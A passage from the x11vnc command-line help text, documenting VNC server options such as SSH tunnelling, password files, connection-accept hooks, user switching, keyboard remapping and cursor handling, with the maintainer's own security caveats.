- the ssh machine "host" can be reached by the VNC
- viewer. "user@" is not needed unless the remote unix
- username differs from the current one.
-
- By default the remote sshd is usually configured to
- listen only on localhost for rport, so the viewer may
- need to ssh -L redir to "host" as well (See SSVNC to
- automate this). The sshd setting GatewayPorts enables
- listening on all interfaces for rport; viewers can
- reach it more easily.
-
- "disp" is the VNC display for the remote SSH side,
- e.g. 0 corresponds to port 5900, etc. If disp is
- greater than 200 the value is used as the port. Use a
- negative value to force a low port, e.g. host:-80 will
- use port 80.
-
- If ssh-agent is not active, then the ssh password needs
- to be entered in the terminal where x11vnc is running.
-
- By default the remote ssh will issue a 'sleep 300' to
- wait for the incoming connection for 5 mins. To modify
- this use user@host:disp+secs.
-
- If the remote SSH server is on a non-standard port
- (i.e. not 22) use user@host:port:disp+secs.
-
- Note that the ssh process MAY NOT be killed when
- x11vnc exits. It tries by looking at ps(1) output.
-
--usepw If no other password method was supplied on the command
- line, first look for ~/.vnc/passwd and if found use it
- with -rfbauth; next, look for ~/.vnc/passwdfile and
- use it with -passwdfile; otherwise, prompt the user
- for a password to create ~/.vnc/passwd and use it with
- the -rfbauth option. If none of these succeed x11vnc
- exits immediately.
-
--storepasswd pass file Store password "pass" as the VNC password in the
- file "file". Once the password is stored the
- program exits. Use the password via "-rfbauth file"
-
- If called with no arguments, "x11vnc -storepasswd",
- the user is prompted for a password and it is stored
- in the file ~/.vnc/passwd. Called with one argument,
- that will be the file to store the prompted password in.
-
--nopw Disable the big warning message when you use x11vnc
- without some sort of password.
-
--accept string Run a command (possibly to prompt the user at the
- X11 display) to decide whether an incoming client
- should be allowed to connect or not. "string" is
- an external command run via system(3) or some special
- cases described below. Be sure to quote "string"
- if it contains spaces, shell characters, etc. If the
- external command returns 0 the client is accepted,
- otherwise the client is rejected. See below for an
- extension to accept a client view-only.
-
- If x11vnc is running as root (say from inetd(8) or from
- display managers xdm(1), gdm(1), etc), think about the
- security implications carefully before supplying this
- option (likewise for the -gone option).
-
- Environment: The RFB_CLIENT_IP environment variable will
- be set to the incoming client IP number and the port
- in RFB_CLIENT_PORT (or -1 if unavailable). Similarly,
- RFB_SERVER_IP and RFB_SERVER_PORT (the x11vnc side
- of the connection), are set to allow identification
- of the tcp virtual circuit. The x11vnc process
- id will be in RFB_X11VNC_PID, a client id number in
- RFB_CLIENT_ID, and the number of other connected clients
- in RFB_CLIENT_COUNT. RFB_MODE will be "accept".
- RFB_STATE will be PROTOCOL_VERSION, SECURITY_TYPE,
- AUTHENTICATION, INITIALISATION, NORMAL, or UNKNOWN
- indicating up to which state the client has achieved.
- RFB_LOGIN_VIEWONLY will be 0, 1, or -1 (unknown).
- RFB_USERNAME, RFB_LOGIN_TIME, and RFB_CURRENT_TIME may
- also be set.
-
- If "string" is "popup" then a builtin popup window
- is used. The popup will time out after 120 seconds,
- use "popup:N" to modify the timeout to N seconds
- (use 0 for no timeout).
-
- In the case of "popup" and when the -unixpw option
- is specified, then a *second* window will be popped
- up after the user successfully logs in via his UNIX
- password. This time the user will be identified as
- UNIX:username@hostname, the "UNIX:" prefix indicates
- which user the viewer logged as via -unixpw. The first
- popup is only for whether to allow him to even *try*
- to login via unix password.
-
- If "string" is "xmessage" then an xmessage(1)
- invocation is used for the command. xmessage must be
- installed on the machine for this to work.
-
- Both "popup" and "xmessage" will present an option
- for accepting the client "View-Only" (the client
- can only watch). This option will not be presented if
- -viewonly has been specified, in which case the entire
- display is view only.
-
- If the user supplied command is prefixed with something
- like "yes:0,no:*,view:3 mycommand ..." then this
- associates the numerical command return code with
- the actions: accept, reject, and accept-view-only,
- respectively. Use "*" instead of a number to indicate
- the default action (in case the command returns an
- unexpected value). E.g. "no:*" is a good choice.
-
- Note that x11vnc blocks while the external command
- or popup is running (other clients may see no updates
- during this period). So a person sitting a the physical
- display is needed to respond to an popup prompt. (use
- a 2nd x11vnc if you lock yourself out).
-
- More -accept tricks: use "popupmouse" to only allow
- mouse clicks in the builtin popup to be recognized.
- Similarly use "popupkey" to only recognize
- keystroke responses. These are to help avoid the
- user accidentally accepting a client by typing or
- clicking. All 3 of the popup keywords can be followed
- by +N+M to supply a position for the popup window.
- The default is to center the popup window.
--afteraccept string As -accept, except to run a user supplied command after
- a client has been accepted and authenticated. RFB_MODE
- will be set to "afteraccept" and the other RFB_*
- variables are as in -accept. Unlike -accept, the
- command return code is not interpreted by x11vnc.
- Example: -afteraccept 'killall xlock &'
--gone string As -accept, except to run a user supplied command when
- a client goes away (disconnects). RFB_MODE will be
- set to "gone" and the other RFB_* variables are as
- in -accept. The "popup" actions apply as well.
- Unlike -accept, the command return code is not
- interpreted by x11vnc. Example: -gone 'xlock &'
-
--users list If x11vnc is started as root (say from inetd(8) or from
- display managers xdm(1), gdm(1), etc), then as soon
- as possible after connections to the X display are
- established try to switch to one of the users in the
- comma separated "list". If x11vnc is not running as
- root this option is ignored.
-
- Why use this option? In general it is not needed since
- x11vnc is already connected to the X display and can
- perform its primary functions. The option was added
- to make some of the *external* utility commands x11vnc
- occasionally runs work properly. In particular under
- GNOME and KDE to implement the "-solid color" feature
- external commands (gconftool-2 and dcop) unfortunately
- must be run as the user owning the desktop session.
- Since this option switches userid it also affects the
- userid used to run the processes for the -accept and
- -gone options. It also affects the ability to read
- files for options such as -connect, -allow, and -remap
- and also the ultra and tight filetransfer feature if
- enabled. Note that the -connect file is also sometimes
- written to.
-
- So be careful with this option since in some situations
- its use can decrease security.
-
- In general the switch to a user will only take place
- if the display can still be successfully opened as that
- user (this is primarily to try to guess the actual owner
- of the session). Example: "-users fred,wilma,betty".
- Note that a malicious local user "barney" by
- quickly using "xhost +" when logging in may possibly
- get the x11vnc process to switch to user "fred".
- What happens next?
-
- Under display managers it may be a long time before
- the switch succeeds (i.e. a user logs in). To instead
- make it switch immediately regardless if the display
- can be reopened prefix the username with the "+"
- character. E.g. "-users +bob" or "-users +nobody".
-
- The latter (i.e. switching immediately to user
- "nobody") is the only obvious use of the -users option
- that increases security.
-
- Use the following notation to associate a group with
- a user: user1.group1,user2.group2,... Note that
- initgroups(2) will still be called first to try to
- switch to ALL of a user's groups (primary and additional
- groups). Only if that fails or it is not available
- then the single group specified as above (or the user's
- primary group if not specified) is switched to with
- setgid(2). Use -env X11VNC_SINGLE_GROUP=1 to prevent
- trying initgroups(2) and only switch to the single
- group. This sort of setting is only really needed to
- make the ultra or tight filetransfer permissions work
- properly. This format applies to any comma separated lis
-t
- of users, even the special "=" modes described below.
-
- In -unixpw mode, if "-users unixpw=" is supplied
- then after a user authenticates himself via the
- -unixpw mechanism, x11vnc will try to switch to that
- user as though "-users +username" had been supplied.
- If you want to limit which users this will be done for,
- provide them as a comma separated list after "unixpw="
- Groups can also be specified as described above.
-
- Similarly, in -ssl mode, if "-users sslpeer=" is
- supplied then after an SSL client authenticates with his
- cert (the -sslverify option is required for this) x11vnc
- will extract a UNIX username from the "emailAddress"
- field (username@hostname.com) of the "Subject" of the
- x509 SSL cert and then try to switch to that user as
- though "-users +username" had been supplied. If you
- want to limit which users this will be done for, provide
- them as a comma separated list after "sslpeer=".
- Set the env. var X11VNC_SSLPEER_CN to use the Common
- Name (normally a hostname) instead of the Email field.
-
- NOTE: for sslpeer= mode the x11vnc administrator must
- take care that any client certs he adds to -sslverify
- have the intended UNIX username in the "emailAddress"
- field of the cert. Otherwise a user may be able to
- log in as another. This command can be of use in
- checking: "openssl x509 -text -in file.crt", see the
- "Subject:" line. Also, along with the normal RFB_*
- env. vars. (see -accept) passed to external cmd=
- commands, RFB_SSL_CLIENT_CERT will be set to the
- client's x509 certificate string.
-
- The sslpeer= mode can aid finding X sessions via the
- FINDDISPLAY and FINDCREATEDISPLAY mechanisms.
-
- To immediately switch to a user *before* connections
- to the X display are made or any files opened use the
- "=" character: "-users =bob". That user needs to
- be able to open the X display and any files of course.
-
- The special user "guess=" means to examine the utmpx
- database (see who(1)) looking for a user attached to
- the display number (from DISPLAY or -display option)
- and try him/her. To limit the list of guesses, use:
- "-users guess=bob,betty".
-
- Even more sinister is the special user "lurk="
- that means to try to guess the DISPLAY from the utmpx
- login database as well. So it "lurks" waiting for
- anyone to log into an X session and then connects to it.
- Specify a list of users after the = to limit which users
- will be tried. To enable a different searching mode, if
- the first user in the list is something like ":0" or
- ":0-2" that indicates a range of DISPLAY numbers that
- will be tried (regardless of whether they are in the
- utmpx database) for all users that are logged in. Also
- see the "-display WAIT:..." functionality. Examples:
- "-users lurk=" and also "-users lurk=:0-1,bob,mary"
-
- Be especially careful using the "guess=" and "lurk="
- modes. They are not recommended for use on machines
- with untrustworthy local users.
-
--noshm Do not use the MIT-SHM extension for the polling.
- Remote displays can be polled this way: be careful this
- can use large amounts of network bandwidth. This is
- also of use if the local machine has a limited number
- of shm segments and -onetile is not sufficient.
--flipbyteorder Sometimes needed if remotely polled host has different
- endianness. Ignored unless -noshm is set.
--onetile Do not use the new copy_tiles() framebuffer mechanism,
- just use 1 shm tile for polling. Limits shm segments
- used to 3.
-
- To disable any automatic shm reduction set the
- env. var. X11VNC_NO_LIMIT_SHM.
-
--solid [color] To improve performance, when VNC clients are connected
- try to change the desktop background to a solid color.
- The [color] is optional: the default color is "cyan4".
- For a different one specify the X color (rgb.txt name,
- e.g. "darkblue" or numerical "#RRGGBB").
-
- Currently this option only works on GNOME, KDE, CDE,
- XFCE, and classic X (i.e. with the background image
- on the root window). The "gconftool-2", "dcop"
- and "xfconf-query" external commands are run for
- GNOME, KDE, and XFCE respectively. This also works
- on native MacOSX. (There is no color selection for
- MacOSX or XFCE.) Other desktops won't work, (send
- us the corresponding commands if you find them).
- If x11vnc is running as root (inetd(8) or gdm(1)),
- the -users option may be needed for GNOME, KDE, XFCE.
- If x11vnc guesses your desktop incorrectly, you can
- force it by prefixing color with "gnome:", "kde:",
- "cde:", "xfce:", or "root:".
-
- Update: -solid no longer works on KDE4.
-
- This mode works in a limited way on the Mac OS X Console
- with one color ('kelp') using the screensaver writing
- to the background. Look in "~/Library/Screen Savers"
- for VncSolidColor.png to change the color.
-
--blackout string Black out rectangles on the screen. "string" is a
- comma separated list of WxH+X+Y type geometries for
- each rectangle. If one of the items on the list is the
- string "noptr" the mouse pointer will not be allowed
- to go into a blacked out region.
--xinerama If your screen is composed of multiple monitors
--noxinerama glued together via XINERAMA, and that screen is
- not a rectangle this option will try to guess the
- areas to black out (if your system has libXinerama).
- default: -xinerama
-
- In general, we have noticed on XINERAMA displays you may
- need to use the "-xwarppointer" option if the mouse
- pointer misbehaves and it is enabled by default. Use
- "-noxwarppointer" if you do not want this.
-
--xtrap Use the DEC-XTRAP extension for keystroke and mouse
- input insertion. For use on legacy systems, e.g. X11R5,
- running an incomplete or missing XTEST extension.
- By default DEC-XTRAP will be used if XTEST server grab
- control is missing, use -xtrap to do the keystroke and
- mouse insertion via DEC-XTRAP as well.
-
--xrandr [mode] If the display supports the XRANDR (X Resize, Rotate
- and Reflection) extension, and you expect XRANDR events
- to occur to the display while x11vnc is running, this
- options indicates x11vnc should try to respond to
- them (as opposed to simply crashing by assuming the
- old screen size). See the xrandr(1) manpage and run
- 'xrandr -q' for more info. [mode] is optional and
- described below.
-
- Since watching for XRANDR events and trapping errors
- increases polling overhead, only use this option if
- XRANDR changes are expected. For example on a rotatable
- screen PDA or laptop, or using a XRANDR-aware Desktop
- where you resize often. It is best to be viewing with a
- vncviewer that supports the NewFBSize encoding, since it
- knows how to react to screen size changes. Otherwise,
- LibVNCServer tries to do so something reasonable for
- viewers that cannot do this (portions of the screen
- may be clipped, unused, etc).
-
- Note: the default now is to check for XRANDR events, but
- do not trap every X call that may fail due to resize.
- If a resize event is received, the full -xrandr mode
- is enabled. To disable even checking for events supply:
- -noxrandr.
-
- "mode" defaults to "resize", which means create a
- new, resized, framebuffer and hope all viewers can cope
- with the change. "newfbsize" means first disconnect
- all viewers that do not support the NewFBSize VNC
- encoding, and then resize the framebuffer. "exit"
- means disconnect all viewer clients, and then terminate
- x11vnc.
-
--rotate string Rotate and/or flip the framebuffer view exported by VNC.
- This transformation is independent of XRANDR and is
- done in software in main memory and so may be slower.
- This mode could be useful on a handheld with portrait or
- landscape modes that do not correspond to the scanline
- order of the actual framebuffer. "string" can be:
-
- x flip along x-axis
- y flip along y-axis
- xy flip along x- and y-axes
- +90 rotate 90 degrees clockwise
- -90 rotate 90 degrees counter-clockwise
- +90x rotate 90 degrees CW, then flip along x
- +90y rotate 90 degrees CW, then flip along y
-
- these give all possible rotations and reflections.
-
- Aliases: same as xy: yx, +180, -180, 180
- same as -90: +270, 270
- same as +90: 90, (ditto for 90x, 90y)
-
- Like -scale, this transformation is applied at the very
- end of any chain of framebuffer transformations and so
- any options with geometries, e.g. -blackout, -clip, etc.
- are relative to the original X (or -rawfb) framebuffer,
- not the final one sent to VNC viewers.
-
- If you do not want the cursor shape to be rotated
- prefix "string" with "nc:", e.g. "nc:+90",
- "nc:xy", etc.
-
--padgeom WxH Whenever a new vncviewer connects, the framebuffer is
- replaced with a fake, solid black one of geometry WxH.
- Shortly afterwards the framebuffer is replaced with the
- real one. This is intended for use with vncviewers
- that do not support NewFBSize and one wants to make
- sure the initial viewer geometry will be big enough
- to handle all subsequent resizes (e.g. under -xrandr,
- -remote id:windowid, rescaling, etc.)
-
- In -unixpw mode this sets the size of the login screen.
- Use "once:WxH" it ignore padgeom after the login
- screen is set up.
-
--o logfile Write stderr messages to file "logfile" instead of to
- the terminal. Same as "-logfile file". To append
- to the file use "-oa file" or "-logappend file".
- If "logfile" contains the string "%VNCDISPLAY"
- it is expanded to the vnc display (the name may need
- to be guessed at.) "%HOME" works too.
-
--flag file Write the "PORT=NNNN" (e.g. PORT=5900) string to
- "file" in addition to stdout. This option could be
- useful by wrapper script to detect when x11vnc is ready.
-
--rmflag file Remove "file" at exit to signal when x11vnc is done.
- The file is created at startup if it does not already
- exist or if "file" is prefixed with "create:".
- If the file is created, the x11vnc PID is placed in
- the file. Otherwise the files contents is not changed.
- Use prefix "nocreate:" to prevent creation.
-
--rc filename Use "filename" instead of $HOME/.x11vncrc for rc file.
--norc Do not process any .x11vncrc file for options.
-
--env VAR=VALUE Set the environment variable 'VAR' to value 'VALUE'
- at x11vnc startup. This is a convenience utility to
- avoid shell script wrappers, etc. to set the env. var.
- You may specify as many of these as needed on the
- command line.
--prog /path/to/x11vnc Set the full path to the x11vnc program for cases when
- it cannot be determined from argv[0] (e.g. tcpd/inetd)
-
--h, -help Print this help text.
--?, -opts Only list the x11vnc options.
--V, -version Print program version and last modification date.
--license Print out license information. Same as -copying and
- -warranty.
-
--dbg Instead of exiting after cleaning up, run a simple
- "debug crash shell" when fatal errors are trapped.
-
--q, -quiet Be quiet by printing less informational output to
- stderr. (use -noquiet to undo an earlier -quiet.)
-
- The -quiet option does not eliminate all informational
- output, it only reduces it. It is ignored in most
- auxiliary usage modes, e.g. -storepasswd. To eliminate
- all output use: 2>/dev/null 1>&2, etc.
-
--v, -verbose Print out more information to stderr.
-
--bg Go into the background after screen setup. Messages to
- stderr are lost unless -o logfile is used. Something
- like this could be useful in a script:
- port=`ssh -t $host "x11vnc -display :0 -bg" | grep PORT
-`
- port=`echo "$port" | sed -e 's/PORT=//'`
- port=`expr $port - 5900`
- vncviewer $host:$port
-
--modtweak Option -modtweak automatically tries to adjust the AltGr
--nomodtweak and Shift modifiers for differing language keyboards
- between client and host. Otherwise, only a single key
- press/release of a Keycode is simulated (i.e. ignoring
- the state of the modifiers: this usually works for
- identical keyboards). Also useful in resolving cases
- where a Keysym is bound to multiple keys (e.g. "<" + ">"
- and "," + "<" keys). Default: -modtweak
-
- If you are having trouble with with keys and -xkb or
- -noxkb, and similar things don't help, try -nomodtweak.
-
- On some HP-UX systems it is been noted that they have
- an odd keymapping where a single keycode will have a
- keysym, e.g. "#", up to three times. You can check
- via "xmodmap -pk" or the -dk option. The failure
- is when you try to type "#" it yields "3". If you
- see this problem try setting the environment variable
- MODTWEAK_LOWEST=1 to see if it helps.
-
--xkb When in modtweak mode, use the XKEYBOARD extension (if
--noxkb the X display supports it) to do the modifier tweaking.
- This is powerful and should be tried if there are still
- keymapping problems when using -modtweak by itself.
- The default is to check whether some common keysyms,
- e.g. !, @, [, are only accessible via -xkb mode and if
- so then automatically enable the mode. To disable this
- automatic detection use -noxkb.
-
- When -xkb mode is active you can set these env. vars.
- They apply only when there is ambiguity as to which
- key to choose (i.e the mapping is not one-to-one).
- NOKEYHINTS=1: for up ascii keystrokes do not use score
- hints saved when the key was pressed down. NOANYDOWN=1:
- for up keystrokes do not resort to searching through
- keys that are currently pressed down. KEYSDOWN=N:
- remember the last N keys press down for tie-breaking
- when an up keystroke comes in.
-
--capslock When in -modtweak (the default) or -xkb mode,
- if a keysym in the range A-Z comes in check the X
- server to see if the Caps_Lock is set. If it is do
- not artificially press Shift to generate the keysym.
- This will enable the CapsLock key to behave correctly
- in some circumstances: namely *both* the VNC viewer
- machine and the x11vnc X server are in the CapsLock
- on state. If one side has CapsLock on and the other
- off and the keyboard is not behaving as you think it
- should you should correct the CapsLock states (hint:
- pressing CapsLock inside and outside of the viewer can
- help toggle them both to the correct state). However,
- for best results do not use this option, but rather
- *only* enable CapsLock on the VNC viewer side (i.e. by
- pressing CapsLock outside of the viewer window, also
- -skip_lockkeys below). Also try -nomodtweak for a
- possible workaround.
-
--skip_lockkeys Have x11vnc ignore all Caps_Lock, Shift_Lock, Num_Lock,
--noskip_lockkeys Scroll_Lock keysyms received from viewers. The idea is
- you press Caps_Lock on the VNC Viewer side but that does
- not change the lock state in the x11vnc-side X server.
- Nevertheless your capitalized letters come in over
- the wire and are applied correctly to the x11vnc-side
- X server. Note this mode probably won't do what you
- want in -nomodtweak mode. Also, a kludge for KP_n
- digits is always done in this mode: they are mapped to
- regular digit keysyms. See also -capslock above.
- The default is -noskip_lockkeys.
-
--skip_keycodes string Ignore the comma separated list of decimal keycodes.
- Perhaps these are keycodes not on your keyboard but
- your X server thinks exist. Currently only applies
- to -xkb mode. Use this option to help x11vnc in the
- reverse problem it tries to solve: Keysym -> Keycode(s)
- when ambiguities exist (more than one Keycode per
- Keysym). Run 'xmodmap -pk' to see your keymapping.
- Example: "-skip_keycodes 94,114"
--sloppy_keys Experimental option that tries to correct some
- "sloppy" key behavior. E.g. if at the viewer you
- press Shift+Key but then release the Shift before
- Key that could give rise to extra unwanted characters
- (usually only between keyboards of different languages).
- Only use this option if you observe problems with
- some keystrokes.
--skip_dups Some VNC viewers send impossible repeated key events,
--noskip_dups e.g. key-down, key-down, key-up, key-up all for the same
- key, or 20 downs in a row for the same modifier key!
- Setting -skip_dups means to skip these duplicates and
- just process the first event. Note: some VNC viewers
- assume they can send down's without the corresponding
- up's and so you should not set this option for
- these viewers (symptom: some keys do not autorepeat)
- Default: -noskip_dups
--add_keysyms If a Keysym is received from a VNC viewer and that
--noadd_keysyms Keysym does not exist in the X server, then add the
- Keysym to the X server's keyboard mapping on an unused
- key. Added Keysyms will be removed periodically and
- also when x11vnc exits. Default: -add_keysyms
--clear_mods At startup and exit clear the modifier keys by sending
- KeyRelease for each one. The Lock modifiers are skipped.
- Used to clear the state if the display was accidentally
- left with any pressed down.
--clear_keys As -clear_mods, except try to release ANY pressed key.
- Note that this option and -clear_mods can interfere
- with a person typing at the physical keyboard.
--clear_all As -clear_keys, except try to release any CapsLock,
- NumLock, etc. locks as well.
-
--remap string Read Keysym remappings from file named "string".
- Format is one pair of Keysyms per line (can be name
- or hex value) separated by a space. If no file named
- "string" exists, it is instead interpreted as this
- form: key1-key2,key3-key4,... See <X11/keysymdef.h>
- header file for a list of Keysym names, or use xev(1).
-
- To map a key to a button click, use the fake Keysyms
- "Button1", ..., etc. E.g: "-remap Super_R-Button2"
- (useful for pasting on a laptop)
-
- I use these if the machine I am viewing from does not
- have a scrollwheel or I don't like using the one it has:
-
- -remap Super_R-Button4,Menu-Button5
- -remap KP_Add-Button4,KP_Enter-Button5
-
- the former would be used on a PC, the latter on a
- MacBook. This way those little used keys can be used
- to generate bigger hops than the Up and Down arrows
- provide. One can scroll through text or web pages more
- quickly this way (especially if x11vnc scroll detection
- is active.)
-
- Use Button44, Button12, etc. for multiple clicks.
-
- To disable a keysym (i.e. make it so it will not be
- injected), remap it to "NoSymbol" or "None".
-
- Dead keys: "dead" (or silent, mute) keys are keys that
- do not produce a character but must be followed by a 2nd
- keystroke. This is often used for accenting characters,
- e.g. to put "`" on top of "a" by pressing the dead
- key and then "a". Note that this interpretation
- is not part of core X11, it is up to the toolkit or
- application to decide how to react to the sequence.
- The X11 names for these keysyms are "dead_grave",
- "dead_acute", etc. However some VNC viewers send the
- keysyms "grave", "acute" instead thereby disabling
- the accenting. To work around this -remap can be used.
- For example "-remap grave-dead_grave,acute-dead_acute"
- As a convenience, "-remap DEAD" applies these remaps:
-
- g grave-dead_grave
- a acute-dead_acute
- c asciicircum-dead_circumflex
- t asciitilde-dead_tilde
- m macron-dead_macron
- b breve-dead_breve
- D abovedot-dead_abovedot
- d diaeresis-dead_diaeresis
- o degree-dead_abovering
- A doubleacute-dead_doubleacute
- r caron-dead_caron
- e cedilla-dead_cedilla
-
- If you just want a subset use the first letter
- label, e.g. "-remap DEAD=ga" to get the first two.
- Additional remaps may also be supplied via commas,
- e.g. "-remap DEAD=ga,Super_R-Button2". Finally,
- "DEAD=missing" means to apply all of the above as
- long as the left hand member is not already in the
- X11 keymap.
-
--norepeat Option -norepeat disables X server key auto repeat when
--repeat VNC clients are connected and VNC keyboard input is
- not idle for more than 5 minutes. This works around a
- repeating keystrokes bug (triggered by long processing
- delays between key down and key up client events:
- either from large screen changes or high latency).
- Default: -norepeat
-
- You can set the env. var. X11VNC_IDLE_TIMEOUT to the
- number of idle seconds you want (5min = 300secs).
-
- Note: your VNC viewer side will likely do autorepeating,
- so this is no loss unless someone is simultaneously at
- the real X display.
-
- Use "-norepeat N" to set how many times norepeat will
- be reset if something else (e.g. X session manager)
- undoes it. The default is 2. Use a negative value
- for unlimited resets.
-
--nofb Ignore video framebuffer: only process keyboard and
- pointer. Intended for use with Win2VNC and x2vnc
- dual-monitor setups.
--nobell Do not watch for XBell events. (no beeps will be heard)
- Note: XBell monitoring requires the XKEYBOARD extension.
--nosel Do not manage exchange of X selection/cutbuffer between
- VNC viewers and the X server at all.
--noprimary Do not poll the PRIMARY selection for changes to send
- back to clients. (PRIMARY is still set on received
- changes, however).
--nosetprimary Do not set the PRIMARY selection for changes received
- from VNC clients.
--noclipboard Do not poll the CLIPBOARD selection for changes to send
- back to clients. (CLIPBOARD is still set on received
- changes, however).
--nosetclipboard Do not set the CLIPBOARD selection for changes
- received from VNC clients.
--seldir string If direction string is "send", only send the selection
- to viewers, and if it is "recv" only receive it from
- viewers. To work around apps setting the selection
- too frequently and messing up the other end. You can
- actually supply a comma separated list of directions,
- including "debug" to turn on debugging output.
-
--cursor [mode] Sets how the pointer cursor shape (little icon at the
--nocursor mouse pointer) should be handled. The "mode" string
- is optional and is described below. The default
- is to show some sort of cursor shape(s). How this
- is done depends on the VNC viewer and the X server.
- Use -nocursor to disable cursor shapes completely.
-
- Some VNC viewers support the TightVNC CursorPosUpdates
- and CursorShapeUpdates extensions (cuts down on
- network traffic by not having to send the cursor image
- every time the pointer is moved), in which case these
- extensions are used (see -nocursorshape and -nocursorpos
- below to disable). For other viewers the cursor shape
- is written directly to the framebuffer every time the
- pointer is moved or changed and gets sent along with
- the other framebuffer updates. In this case, there
- will be some lag between the vnc viewer pointer and
- the remote cursor position.
-
- If the X display supports retrieving the cursor shape
- information from the X server, then the default is
- to use that mode. On Solaris this can be done with
- the SUN_OVL extension using -overlay (see also the
- -overlay_nocursor option). A similar overlay scheme
- is used on IRIX. Xorg (e.g. Linux) and recent Solaris
- Xsun servers support the XFIXES extension to retrieve
- the exact cursor shape from the X server. If XFIXES
- is present it is preferred over Overlay and is used by
- default (see -noxfixes below). This can be disabled
- with -nocursor, and also some values of the "mode"
- option below.
-
- Note that under XFIXES cursors with transparency (alpha
- channel) will usually not be exactly represented and one
- may find Overlay preferable. See also the -alphacut
- and -alphafrac options below as fudge factors to try
- to improve the situation for cursors with transparency
- for a given theme.
-
- The "mode" string can be used to fine-tune the
- displaying of cursor shapes. It can be used the
- following ways:
-
- "-cursor arrow" - just show the standard arrow
- nothing more or nothing less.
-
- "-cursor none" - same as "-nocursor"
-
- "-cursor X" - when the cursor appears to be on the
- root window, draw the familiar X shape. Some desktops
- such as GNOME cover up the root window completely,
- and so this will not work, try "X1", etc, to try to
- shift the tree depth. On high latency links or slow
- machines there will be a time lag between expected and
- the actual cursor shape.
-
- "-cursor some" - like "X" but use additional
- heuristics to try to guess if the window should have
- a windowmanager-like resizer cursor or a text input
- I-beam cursor. This is a complete hack, but may be
- useful in some situations because it provides a little
- more feedback about the cursor shape.
-
- "-cursor most" - try to show as many cursors as
- possible. Often this will only be the same as "some"
- unless the display has overlay visuals or XFIXES
- extensions available. On Solaris and IRIX if XFIXES
- is not available, -overlay mode will be attempted.
-
--cursor_drag Show cursor shape changes even when the mouse is being
- dragged with a mouse button down. This is useful if you
- want to be able to see Drag-and-Drop cursor icons, etc.
-
--arrow n Choose an alternate "arrow" cursor from a set of
- some common ones. n can be 1 to 6. Default is: 1
- Ignored when in XFIXES cursor-grabbing mode.
-
--noxfixes Do not use the XFIXES extension to draw the exact cursor
- shape even if it is available.
-
- Note: To work around a crash in Xorg 1.5 and later
- some people needed to use -noxfixes. The Xorg crash
- occurred right after a Display Manager (e.g. GDM) login.
- Starting with x11vnc 0.9.9 it tries to automatically
- avoid using XFIXES until it is sure a window manager
- is running. See the -reopen option for more info and
- how to use X11VNC_AVOID_WINDOWS=never to disable it.
-
--alphacut n When using the XFIXES extension for the cursor shape,
- cursors with transparency will not usually be displayed
- exactly (but opaque ones will). This option sets n as
- a cutoff for cursors that have transparency ("alpha
- channel" with values ranging from 0 to 255) Any cursor
- pixel with alpha value less than n becomes completely
- transparent. Otherwise the pixel is completely opaque.
- Default 240
-
--alphafrac fraction With the threshold in -alphacut some cursors will become
- almost completely transparent because their alpha values
- are not high enough. For those cursors adjust the
- alpha threshold until fraction of the non-zero alpha
- channel pixels become opaque. Default 0.33
--alpharemove By default, XFIXES cursors pixels with transparency have
- the alpha factor multiplied into the RGB color values
- (i.e. that corresponding to blending the cursor with a
- black background). Specify this option to remove the
- alpha factor. (useful for light colored semi-transparent
- cursors).
--noalphablend In XFIXES mode do not send cursor alpha channel data
- to LibVNCServer. The default is to send it. The
- alphablend effect will only be visible in -nocursorshape
- mode or for clients with cursorshapeupdates turned
- off. (However there is a hack for 32bpp with depth 24,
- it uses the extra 8 bits to store cursor transparency
- for use with a hacked vncviewer that applies the
- transparency locally. See the FAQ for more info).
-
--nocursorshape Do not use the TightVNC CursorShapeUpdates extension
- even if clients support it. See -cursor above.
--cursorpos Option -cursorpos enables sending the X cursor position
--nocursorpos back to all vnc clients that support the TightVNC
- CursorPosUpdates extension. Other clients will be able
- to see the pointer motions. Default: -cursorpos
--xwarppointer Move the pointer with XWarpPointer(3X) instead of
--noxwarppointer the XTEST extension. Use this as a workaround
- if the pointer motion behaves incorrectly, e.g.
- on touchscreens or other non-standard setups.
-
- It is also sometimes needed on XINERAMA displays and is
- enabled by default if XINERAMA is found to be active.
- To prevent this, use -noxwarppointer.
-
--always_inject Even if there is no displacement (dx = dy = 0) for a
- VNC mouse event force the pointer to the indicated x,y
- position anyway. Recent (2009) gui toolkits (gnome)
- have problems with x11vnc's original mouse input
- injection method. So x11vnc's mouse input injection
- method has been modified. To regain the OLD behavior
- use this option: -always_inject. Then x11vnc will
- always force positioning the mouse to the x,y position
- even if that position has not changed since the previous
- VNC input event.
-
- The first place this problem was noticed was in gnome
- terminal: if you pressed and released mouse button 3, a
- menu was posted and then its first element 'New Terminal
- Window' was activated. This was because x11vnc injected
- the mouse position twice: once on ButtonPress and again
- on ButtonRelease. The toolkit interpreted the 2nd one
- as mouse motion even though the mouse hadn't moved.
- So now by default x11vnc tries to avoid injecting the
- 2nd one.
-
- Note that with the new default x11vnc will be oblivious
- to applications moving the pointer (warping) or the
- user at the physical display moving it. So it might,
- e.g., inject ButtonRelease at the wrong position.
- If this (or similar scenarios) causes problems in your
- environment, specify -always_inject for the old method.
-
--buttonmap string String to remap mouse buttons. Format: IJK-LMN, this
- maps buttons I -> L, etc., e.g. -buttonmap 13-31
-
- Button presses can also be mapped to keystrokes: replace
- a button digit on the right of the dash with :<sym>:
- or :<sym1>+<sym2>: etc. for multiple keys. For example,
- if the viewing machine has a mouse-wheel (buttons 4 5)
- but the x11vnc side does not, these will do scrolls:
- -buttonmap 12345-123:Prior::Next:
- -buttonmap 12345-123:Up+Up+Up::Down+Down+Down:
-
- See <X11/keysymdef.h> header file for a list of Keysyms,
- or use the xev(1) program. Note: mapping of button
- clicks to Keysyms may not work if -modtweak or -xkb is
- needed for the Keysym.
-
- If you include a modifier like "Shift_L" the
- modifier's up/down state is toggled, e.g. to send
- "The" use :Shift_L+t+Shift_L+h+e: (the 1st one is
- shift down and the 2nd one is shift up). (note: the
- initial state of the modifier is ignored and not reset)
- To include button events use "Button1", ... etc.
-
- -buttonmap currently does not work on MacOSX console
- or in -rawfb mode.
-
- Workaround: use -buttonmap IJ...-LM...=n to limit the
- number of mouse buttons to n, e.g. 123-123=3. This will
- prevent x11vnc from crashing if the X server reports
- there are 5 buttons (4/5 scroll wheel), but there are
- only really 3.
-
--nodragging Do not update the display during mouse dragging events
- (mouse button held down). Greatly improves response on
- slow setups, but you lose all visual feedback for drags,
- text selection, and some menu traversals. It overrides
- any -pointer_mode setting.
-
--ncache n Client-side caching scheme. Framebuffer memory "n"
- (an integer) times that of the full display is allocated
- below the actual framebuffer to cache screen contents
